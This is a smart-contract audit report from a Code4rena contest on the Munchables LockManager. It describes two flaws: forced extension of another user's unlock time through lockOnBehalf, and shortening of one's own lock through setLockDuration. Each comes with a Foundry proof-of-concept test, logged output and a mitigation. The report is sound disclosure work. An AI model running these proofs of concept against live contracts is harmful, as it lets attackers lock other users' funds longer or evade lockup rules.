Munchables - ayden's results

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L382-L384 https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L290

Vulnerability details

Impact

Due to lockOnBehalf a malicious user can donate token to anyone to extends the unlock time.

Proof of Concept

According to LockManager.sol::lockOnBehalf.

function lockOnBehalf(
    address _tokenContract,
    uint256 _quantity,
    address _onBehalfOf
)
    external
    payable
    notPaused
    onlyActiveToken(_tokenContract)
    onlyConfiguredToken(_tokenContract)
    nonReentrant
{
    address tokenOwner = msg.sender;
    address lockRecipient = msg.sender;
    if (_onBehalfOf != address(0)) {
        lockRecipient = _onBehalfOf;
    }

    _lock(_tokenContract, _quantity, tokenOwner, lockRecipient);
}

malicious user can set _onBehalfOf to any address.

Once lock some addition token , the unlocktime is updated https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L382-L384

lockedToken.remainder = remainder;
lockedToken.quantity += _quantity;
lockedToken.lastLockTime = uint32(block.timestamp);
lockedToken.unlockTime =
    uint32(block.timestamp) +
    uint32(_lockDuration);                      <

test:

    function test_user_relock() external {
        address attacker = address(101);

        uint256 lockAmount = 100e18;
        deployContracts();

        // register me
        amp.register(MunchablesCommonLib.Realm(3), address(0));
        logSnuggery("Initial snuggery");

        uint32 minLockDuration = 86400;

        //reset lockdrop
        lm.configureLockdrop(
            ILockManager.Lockdrop({
                start: uint32(block.timestamp),
                end: uint32(block.timestamp) + minLockDuration*2,
                minLockDuration: minLockDuration
            })
        );

        //in nft period.
        vm.warp(block.timestamp + minLockDuration*2 - 1);

        //set lock duration.
        lm.setLockDuration(50 days);

        //lock.
        lm.lock{value: lockAmount}(address(0), lockAmount);

        logLockedTokens("Self Lock");

        vm.warp(block.timestamp + 44 days);

        //send 1 ether to attacker.
        deal(attacker,1 ether);

        //user lock again.
        vm.prank(attacker);
        lm.lockOnBehalf{value: 1 wei}(address(0), 1 wei,address(this));

        logLockedTokens("Another Lock");
    }

output:

  -------------------------------
  Self Lock
  ETH Locked: 100000000000000000000
  Remainder: 0
  unlockTime: 4492800
  lastLockTime: 172800
  -------------------------------
  att bal: 1000000000000000000
  -------------------------------
  Another Lock
  ETH Locked: 100000000000000000001
  Remainder: 0
  unlockTime: 8294400
  lastLockTime: 3974400
  -------------------------------

From the above output, we can see that the user's unlock time has been updated from 4492800 to 8294400. Note that this change was not the user's intention.

Tools Used

Foundry

Recommended Mitigation Step

Since lockOnBehalf can extend the token unlock time for any player, it is essential to ensure that this action aligns with the player's intention.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L245-L272

Vulnerability details

Impact

Malicious users can exploit the setLockDuration function to shorten the lock duration.

Proof of Concept

Users can exploit the setLockDuration function to reset the unlock time. According to the documentation, it states:

people cannot reduce lockup times that are previously set

When setting the lock duration, the protocol compares uint32(block.timestamp) + uint32(_duration) with the previously set unlock time to ensure that the new lock time is not earlier than the current unlock time. However, when setting the actual unlock time, the protocol adds lastLockTime to _duration, which can result in the final unlock time being earlier than the previously set unlock time.

add following test to SpeedRun.t.sol:

    function test_locktime_change() public {
        uint256 lockAmount = 100e18;

        console.log("test_locktime_change run()");
        deployContracts();

        // register me
        amp.register(MunchablesCommonLib.Realm(3), address(0));
        logSnuggery("Initial snuggery");

        // lock tokens
        lm.lock{value: lockAmount}(address(0), lockAmount);

        logLockedTokens("First Lock");

        //16 hours pass by , 8 hours left
        vm.warp(block.timestamp + 16 hours);
    
        //set duration 9 hours.
        lm.setLockDuration(9 hours);

        logLockedTokens("Second Lock");

        console.log("nowTime:",block.timestamp);
    }

out:

  -------------------------------
  First Lock
  ETH Locked: 100000000000000000000
  Remainder: 0
  unlockTime: 86401
  lastLockTime: 1
  -------------------------------
  -------------------------------
  Second Lock
  ETH Locked: 100000000000000000000
  Remainder: 0
  unlockTime: 32401
  lastLockTime: 1
  -------------------------------
  nowTime: 57601

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 21.21ms (15.74ms CPU time)

From above output we can see user unlock time reduce from 86401 to 32401

Tools Used

Foundry

Recommended Mitigation Steps

should use current time instead of lastLockTime to calculate unlockTime

@@ -263,7 +263,7 @@ contract LockManager is BaseBlastManager, ILockManager, ReentrancyGuard {
                 uint32 lastLockTime = lockedTokens[msg.sender][tokenContract]
                     .lastLockTime;
                 lockedTokens[msg.sender][tokenContract].unlockTime =
-                    lastLockTime +
+                    uint32(block.timestamp) +
                     uint32(_duration);
             }
         }

Assessed type

Math